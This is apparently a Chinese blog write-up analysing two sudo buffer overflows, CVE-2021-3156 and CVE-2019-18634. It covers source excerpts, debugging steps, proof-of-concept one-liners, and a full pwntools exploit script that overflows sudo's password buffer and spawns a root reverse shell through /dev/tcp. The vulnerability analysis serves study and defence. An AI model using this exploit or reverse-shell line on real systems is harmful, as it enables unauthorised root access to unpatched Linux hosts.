以两个Sudo指令缓冲区溢出CVE进行分析

sudo是一个大多数Linux或者Unix操作系统中都存在的系统管理指令,是一个允许系统管理员让普通用户执行一些或者全部的root命令的工具.

此次以CVE-2021-3156和CVE-2019-18634两个Sudo指令的缓冲区溢出漏洞进行分析

CVE-2021-3156

影响范围

Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1

如何检测自己系统是否存在此漏洞?

终端输入 命令 "sudoedit -s /"后执行 会出现以下两种情况

  1. 若出现"sudoedit:“开头的错误响应,则系统受到此漏洞影响.
  2. 若出现"usage:“开头的错误响应,则表示该漏洞已被补丁修复.

调试

此处选择了Sudo-1.8.31版本的Sudo程序来进行复现,最开始我是编译了一遍sudo源码来进行调试,结果编译出来的sudo程序和ubuntu系统自带的sudo有点不一样,所以最后我还是直接调试的ubuntu系统自带的sudo,只是没有源码断点不太方便

1
2
3
4
5
6
7
gdb ./sudoedit
......
pwndbg> set args -s '\' 112233445566 // 设置参数
pwndbg> run
...
pwndbg> b ./sudoers.c:847
pwndbg> run

漏洞位置位于plugins/sudoers/sudoers.c代码文件set_cmnd函数中

因为可能文件代码是动态加载的,所以当程序crash的时候,才可以下断点,然后重新运行,最后会断在断点位置

漏洞代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
......
	/* set user_args */
	if (NewArgc > 1) {
	    char *to, *from, **av;
	    size_t size, n;

	    /* Alloc and build up user_args. */
	    for (size = 0, av = NewArgv + 1; *av; av++)
		size += strlen(*av) + 1;
	    if (size == 0 || (user_args = malloc(size)) == NULL) {
		sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
		debug_return_int(NOT_FOUND_ERROR);
	    }
	    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
		/*
		 * When running a command via a shell, the sudo front-end
		 * escapes potential meta chars.  We unescape non-spaces
		 * for sudoers matching and logging purposes.
		 */
		for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
		    while (*from) {
			if (from[0] == '\\' && !isspace((unsigned char)from[1]))	
			    from++;
			*to++ = *from++;
		    }
		    *to++ = ' ';
		}
		*--to = '\0';
	    }
......

若执行sudoedit的时候有传入命令行参数,NewArgc > 1,并进入上述这个分支

首先会遍历并计算出所有参数的总大小,利用malloc申请一段空间,之后则是将参数拷贝到刚才申请的空间中

漏洞点

1
2
3
4
5
6
7
8
		for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
		    while (*from) {
			if (from[0] == '\\' && !isspace((unsigned char)from[1]))
			    from++;
			*to++ = *from++;
		    }
		    *to++ = ' ';
		}

因为程序错误的转义,将传入的''字符后方的\x00看作转义字符,而\x00也不是空白字符,所以绕过了isspace空白字符的检测
至此,第一个参数拷贝的时候会以'\' 112233445566作为第一个参数进行拷贝,然后再拷贝第二个参数,即112233445566,最后拷贝的字符超过了申请的空间的大小,形成了缓冲区溢出漏洞

利用

Qualys团队在博客中,给出了三个利用思路,这里我选择了第二种思路来复现,因为第二种方法已经在三个版本的Linux系统上成功实现了利用且github星星第一则是此方法的利用脚本呢,此方法主要运用了堆溢出覆盖字符串指针为可控字符串指针,从而在调用nss_load_libinary的时候进行的so注入,此时注入的so文件是可控的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int nss_load_library (service_user *ni)
{
	if (ni->library == NULL)
	{
		static name_database default_table;
		ni->library = nss_new_service (service_table ?: &default_table,ni->name);
		if (ni->library == NULL)
			return -1;
	}

	if (ni->library->lib_handle == NULL)
	{
		/* Load the shared library.  */
		size_t shlen = (7 + strlen (ni->name) + 3 + strlen (__nss_shlib_revision) + 1);
		int saved_errno = errno;
		char shlib_name[shlen];

		/* Construct shared object name.  */
		__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      ......

此处传入了参数为一个结构体指针,结构体为

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
typedef struct service_user
{
	/* And the link to the next entry.  */
	struct service_user *next;
	/* Action according to result.  */
	lookup_actions actions[5];
	/* Link to the underlying library object.  */
	service_library *library;		
	/* Collection of known functions.  */
	void *known;
	/* Name of the service (`files', `dns', `nis', ...).  */
	char name[0];
} service_user;

利用过程为修改ni->library为空指针,之后则会进入第一个分支,调用nss_new_service函数
下面我们来看看nss_new_service函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static service_library * nss_new_service (name_database *database, const char *name)
{
	service_library **currentp = &database->library;

	while (*currentp != NULL)
	{
		if (strcmp ((*currentp)->name, name) == 0)
			return *currentp;
		currentp = &(*currentp)->next;
	}

  /* We have to add the new service.  */
	*currentp = (service_library *) malloc (sizeof (service_library));
	if (*currentp == NULL)
		return NULL;

	(*currentp)->name = name;
	(*currentp)->lib_handle = NULL;
	(*currentp)->next = NULL;

	return *currentp;
}
#endif

遍历database链表寻找ni->name对应的library指针,若没有发现对应的结构体,则是继续往下为当前name名称创建一个结构体,且lib_handle指针写0,因此返回之后即可通过if (ni->library->lib_handle == NULL)此判断,进入其分支

1
2
3
4
//1.8.31/src/sudo.c:154
setlocale(LC_ALL, "");
bindtextdomain(PACKAGE_NAME, LOCALEDIR);
textdomain(PACKAGE_NAME);

setlocale()函数中可以调用malloc()以及free()函数,进行堆块的布局,通过控制"LC_ALL,从而让nss_load_library传入的结构体位于漏洞点溢出的堆块的下方不远处

思路总结
  1. ni->library指针写0,进入第一个分支
  2. 控制住ni->name字符串,之后通过拼接出的最终字符串作为so文件的路径,则可以调用__libc_dlopen初始化运行该so文件
  3. 如果nss_load_library传入的service_user *ni指针对应的结构体位于漏洞点处申请的空间下方不远处,则可通过错误转义引起的堆溢出满足上述两个条件

CVE-2019-18634

CVE-2019-18634相对于CVE-2021-3156来说,限制更大一些,因为需要存在pwfeedback选项

1
2
3
4
5
6
wget https://www.sudo.ws/dist/sudo-1.8.25.tar.gz
tar -zxvf ./sudo-1.8.25.tar.gz
cd ./sudo-1.8.25
./configure --prefix=/tmp/build
make -j4
make install

开启 pwfeedback 选项

/etc/sudoers规则中添加Defaults pwfeedback
开启后,在用户切换的输入密码时,会有视觉反馈,出现”*“符号

POC

POC1[<=1.8.25]

1
perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id

POC2[1.8.26,1.8.30]

1
2
socat pty,link=/tmp/pty,waitslave exec:"python -c 'print((chr(0x61)*100+chr(0x15))*50)'" &
sudo -S id < /tmp/pty

POC1通过从管道获取数据交给sudo,-S表示从stdin读取数据
POC2通过socat创建了一个伪终端pty,sudo处理的数据从终端中获取,“waitslave exec"执行后续命令

调试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import sys,os
from pwn import *

TARGET=os.path.realpath("/tmp/build/bin/sudo")

'''
Create a pty terminal to transmit payload
mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)
p = process([TARGET,"-S", "id"],stdin=fd)
'''
p = process([TARGET,"-S","id"])
pause()
payload = ("A"*100+"\x00")*50
#os.write(mfd, payload+"n")
pause()
p.send(payload+'\n')
p.interactive()
sys.exit(0)

在第一次pause的时候,打开另外一个终端进入GDB,利用attach pid指令调试进程,则会因为pause而断点在相应位置

分析漏洞代码

首先sudo输入的时候,调用的函数是getln
在终端执行POC1,程序在int getln tgetpass.c:345报错

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
extern int sudo_term_erase, sudo_term_kill;

static char *getln(int fd, char *buf, size_t bufsiz, int feedback)
{
    size_t left = bufsiz;
    ssize_t nr = -1;
    char *cp = buf;
    char c = '\0';
    debug_decl(getln, SUDO_DEBUG_CONV)

    if (left == 0) {
	errno = EINVAL;
	debug_return_str(NULL);		/* sanity */
    }

    while (--left) {
	nr = read(fd, &c, 1);
	if (nr != 1 || c == '\n' || c == '\r')
	    break;
	if (feedback) {
		if (c == sudo_term_kill) {
			while (cp > buf)
			{
				if (write(fd, "\b \b", 3) == -1)
				break;
				--cp;
			}
			left = bufsiz;
			continue;
	    }
	    else if (c == sudo_term_erase) {
			if (cp > buf)
			{
				if (write(fd, "\b \b", 3) == -1)
				break;
				--cp;
				left++;
			}
			continue;
	    }
	    ignore_result(write(fd, "*", 1));
	}
	*cp++ = c;
    }
    ......
}

如果sudo开启了pwfeedback,之后进行两个判断

sudo_term_kill: 删除所有字符,可输入字符数量left重新赋值为bufsiz
sudo_term_erase:删除单个字符,可输入字符数量left自增1

漏洞点

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
if (feedback) {
		if (c == sudo_term_kill) {
			while (cp > buf)
			{
				if (write(fd, "\b \b", 3) == -1)
					break;
				--cp;
			}
			left = bufsiz;
			continue;
	    }
	    ......

若从管道读取数据,因为管道是单向的,那么write(fd, "\b \b", 3) == -1总是成立,break跳出while循环,令变量left重新赋值为bufsiz

因为变量left重新赋值为bufsiz,所以while循环继续运行,故此处可以继续拷贝数据,而此处拷贝到的buf指针是一个BSS段上的变量

而在BSS段上,buf指针后存在askpass_6192、signo、tgetpass_flags、user_details_0等多个BSS上的变量

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
 * Like getpass(3) but with timeout and echo flags.
 */
char *tgetpass(const char *prompt, int timeout, int flags,struct sudo_conv_callback *callback)
{
    struct sigaction sa, savealrm, saveint, savehup, savequit, saveterm;
    struct sigaction savetstp, savettin, savettou;
    char *pass;
    static const char *askpass;
    static char buf[SUDO_CONV_REPL_MAX + 1];
    int i, input, output, save_errno, neednl = 0, need_restart;
    debug_decl(tgetpass, SUDO_DEBUG_CONV)

    (void) fflush(stdout);

    if (askpass == NULL)
    {
		askpass = getenv_unhooked("SUDO_ASKPASS");
		if (askpass == NULL || *askpass == '\0')
			askpass = sudo_conf_askpass_path();  //get the askpass from the environment
    }

    /* If no tty present and we need to disable echo, try askpass. */
    if (!ISSET(flags, TGP_STDIN|TGP_ECHO|TGP_ASKPASS|TGP_NOECHO_TRY) &&!tty_present())
    {
		if (askpass == NULL || getenv_unhooked("DISPLAY") == NULL) {
			sudo_warnx(U_("no tty present and no askpass program specified"));
			debug_return_str(NULL);
		}
		SET(flags, TGP_ASKPASS);
    }

    /* If using a helper program to get the password, run it instead. */
    if (ISSET(flags, TGP_ASKPASS))
    {
		if (askpass == NULL || *askpass == '\0')
			sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));
		debug_return_str_masked(sudo_askpass(askpass, prompt));
    }
    //.......
    pass = getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK));
    //......
}

因为第一次tgetpass_flags没有开启TGP_ASKPASS,那么会通过后面的getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK));进行写入,此时开启了feedback选项,可以形成越界修改tgetpass_flags变量的值

又因为sudo会有三次输入的机会,如果令tgetpass_flags开启TGP_ASKPASS选项

其中tgetpass_flags的各标志位值位于sudo.h

1
2
3
4
5
6
#define TGP_NOECHO  0x00        /* turn echo off reading pw (default) */
#define TGP_ECHO    0x01        /* leave echo on when reading passwd */
#define TGP_STDIN   0x02        /* read from stdin, not /dev/tty */
#define TGP_ASKPASS 0x04        /* read from askpass helper program */
#define TGP_MASK    0x08        /* mask user input when reading */
#define TGP_NOECHO_TRY  0x10        /* turn off echo if possible */

继而第二次输入密码则调用sudo_askpass函数,继续查看sudo_askpass函数源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/*
 * Fork a child and exec sudo-askpass to get the password from the user.
 */
static char *sudo_askpass(const char *askpass, const char *prompt)
{
    static char buf[SUDO_CONV_REPL_MAX + 1], *pass;
    struct sigaction sa, savechld;
    int pfd[2], status;
    pid_t child;
    debug_decl(sudo_askpass, SUDO_DEBUG_CONV)

    /* Set SIGCHLD handler to default since we call waitpid() below. */
    memset(&sa, 0, sizeof(sa));
    sigemptyset(&sa.sa_mask);
    sa.sa_flags = SA_RESTART;
    sa.sa_handler = SIG_DFL;
    (void) sigaction(SIGCHLD, &sa, &savechld);

    if (pipe(pfd) == -1)
	sudo_fatal(U_("unable to create pipe"));

    child = sudo_debug_fork();
    if (child == -1)
	sudo_fatal(U_("unable to fork"));

    if (child == 0) {
	/* child, point stdout to output side of the pipe and exec askpass */
	if (dup2(pfd[1], STDOUT_FILENO) == -1) {
	    sudo_warn("dup2");
	    _exit(255);
	}
	if (setuid(ROOT_UID) == -1)
	    sudo_warn("setuid(%d)", ROOT_UID);
	if (setgid(user_details.gid)) {
	    sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid);
	    _exit(255);
	}
	if (setuid(user_details.uid)) {
	    sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid);
	    _exit(255);
	}
	closefrom(STDERR_FILENO + 1);
	execl(askpass, askpass, prompt, (char *)NULL); //执行程序
	......
}

最开始有child = sudo_debug_fork();此处程序fork了一个子线程,而子线程的权限来自于user_details即之前可以越界修改的user_details_0的数据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
struct user_details {
    pid_t pid;
    pid_t ppid;
    pid_t pgid;
    pid_t tcpgid;
    pid_t sid;
    uid_t uid;
    uid_t euid;
    uid_t gid;
    uid_t egid;
    const char *username;
    const char *cwd;
    const char *tty;
    const char *host;
    const char *shell;
    GETGROUPS_T *groups;
    int ngroups;
    int ts_cols;
    int ts_lines;
};

user_details结构体包括了进程的UID以及PID,若将其置0,则子进程变为root权限,之后会以root权限execl(askpass, askpass, prompt, (char *)NULL);执行askpass指向的文件

知识点

  1. sudo输入具有三次输入的机会
  2. 如果开启了pwfeedback,程序会利用tgetpass函数中的getln函数进行输入,而getln函数在pwfeedback开启时存在BSS数据越界
  3. 在sudo_askpass函数中,会fork一个子线程,以子线程的权限运行一个askpass指向的程序

思路总结

  1. 第一次输入修改tgetpass_flags |= TGP_ASKPASS,然后继续溢出修改user_details_0为root权限
  2. 第二次就会检测到存在TGP_ASKPASS从而调用sudo_askpass函数,进而执行askpass指针指向的文件
  3. 最终通过反弹shell的方式拿到shell

Patch in 1.8.26

在1.8.26之后的getln中添加了对EOF的处理

1
2
3
4
        if (c == sudo_term_eof) {
		    nr = 0;
		    break;
		}

如此POC1不起作用了,但是若创建一个新的伪终端对,从伪终端获取输入流
在ASCII中,EOF与KILL对应的值分别为0x04与0x15,则稍微修改一个POC漏洞就可以再次利用

Exploit脚本

如果通过管道传输数据,sudo_term_kill初始化为\x00,将会导致溢出到user_details_0之前,signo不能置0,否则会抛出异常从而KILL进程

而通过终端传输数据,sudo_term_kill是为\x15的,则优选pty作为输入方式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# coding=utf-8
from pwn import*
import sys,os

TARGET=os.path.realpath("/tmp/build/bin/sudo")

def setFlags(flags):
	tgetpassFlags = {
		"TGP_NOECHO":0x00,
		"TGP_ECHO":0x01,
		"TGP_STDIN":0x02,
		"TGP_ASKPASS":0x04,
		"TGP_MASK":0x08,
		"TGP_NOECHO_TRY":0x10
	}
	flags = flags.split("|")
	retval = 0
	for i in flags:
		retval |= tgetpassFlags[i]
	return retval

if __name__ == "__main__":

	shell_path = "/tmp/root.sh"
	with open(shell_path,"w") as file:
		file.write(
		'''#!/bin/bash
		bash -c "bash -i >& /dev/tcp/127.0.0.1/3000 0>&1"
		''')
	os.chmod(shell_path,0o777)
	mfd, sfd = os.openpty()
	fd = os.open(os.ttyname(sfd), os.O_RDONLY)
	
	p = process([TARGET,"-S", "id"],stdin=fd,env={"SUDO_ASKPASS":shell_path})
	port = listen(3000)
	payload  = '\x00\x15'*0xFF  #buf
	payload += '\x00\x15'*0x20 	#askpass_link
	payload += '\x00\x15'*0x105 #signo
	payload +=  p64(setFlags("TGP_STDIN|TGP_ASKPASS"))
	payload += '\x15\x00'*0x14  #tgetpass_flags
	payload += '\x15\x00'*0x30  #user_details
	payload += '\n'
	pause()
	os.write(mfd,payload)
	port.wait_for_connection()
	pause()
	port.interactive()

Reference

[CVE-2019-18634漏洞复现与分析]
[CVE-2019-18634 sudo 提权漏洞分析] [CVE-2019-18634附件]

总结

Sudo上述两个漏洞都是缓冲区溢出,一个在BSS段上溢出,溢出修改user_details结构体,导致fork()的子进程为root权限,一个在堆上的溢出,通过控制环境变量,然后覆盖字符串指针从而实现so文件注入运行root权限的shell ◔ ‸◔